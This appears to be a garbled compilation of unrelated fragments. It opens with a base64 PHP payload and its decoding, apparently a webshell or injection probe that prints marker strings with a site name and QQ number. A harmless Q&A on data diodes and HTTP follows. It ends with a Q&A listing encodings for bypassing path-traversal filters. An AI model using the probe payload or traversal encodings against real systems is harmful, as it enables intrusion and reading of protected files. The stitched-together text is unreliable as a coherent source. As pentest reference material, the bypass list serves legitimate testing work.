QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7

turns into

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("haorenge.comQQ317275738");;echo("|<-");die();


Modern Data diodes for High security I have read data diodes are often used where high security is needed, like in military or critical infrastructures. However, most are UDP based. Modern diodes do support TCP protocol like SMTP, syslogs. However, I have not seen one that says it support HTTP or HTTPS. Is that even possible for a data diode ?

A data diode is used to transfer data in one direction only and make sure that no data can travel in the other direction. HTTP works by the client sending a request to the server and the server sending a response back to the client. Since a diode would allow data to pass in one direction only it would mean that either the request gets passed to the server but not the response back or that the response gets passed to the client but not the request to the server. This means simple HTTP pass through would not be possible.

But, it would be possible to emulate the servers behavior on the client side of the diode the following way: the client transfers the request to the diode which transfers the request to the server and then sends an emulated response to the client. Of course this emulated response can at most signal failure or success since the original response from the server is unknown at the client side. Thus such emulation might be useful for HTTP uploads only and can not be used to retrieve information from the server.

It would also be possible to use the diode in the other direction, i.e. to only pass the servers response to the client but not the clients request to the server. In this case the server side of the diode would need to emulate the clients request which means that only a single preconfigured request would be possible. Thus this scenario might be useful for polling a specific fixed URL only.

I'm not aware of any product which implements such functionality for HTTP. But I know a product which does similar emulations for FTP and SMTP (mail).

But at the end the strict one-way-only design of a diode can make it unusable in many use cases where highly restricted but still bi-directional communication is needed. In such cases task-specific application level gateways might be the way to go which can severely restrict which kind of requests the client can send and which kind of responses the server can send back.


Path traversal filter bypass techniques? I have a Linux-based embedded system with web-interface for management purposes. According to one security paper, this web-server has rudimentary filter against directory traversal attacks in URL parameters. So in order to bypass the "../" filter, an URL with special strings needs to be used. What are the common path traversal filter bypass techniques?

There are various encodings you can try to enable you to bypass a filter:

Try / and \ at the start of the folder name to try and reach the root directory.
Try %2f and %5c (percent encoded versions of the above).
Try using 16-bit Unicode encoding (. = %u002e, / = %u2215, \ = %u2216).
Try double URL encoding (. = %252e, / = %252f, \ = %255c).
Try overlong UTF-8 Unicode encoding (. can be %c0%2e, %e0%40%ae, %c0ae, / can be %c0%af, %e0%80%af, %c0%2f, etc, \ can be %c0%5c, %c0%80%5c).

If you get a different response trying one of the above then you have managed to change either the execution path or the file system path that is being accessed. This may indicate that the particular sequence used may be worthy of additional investigation.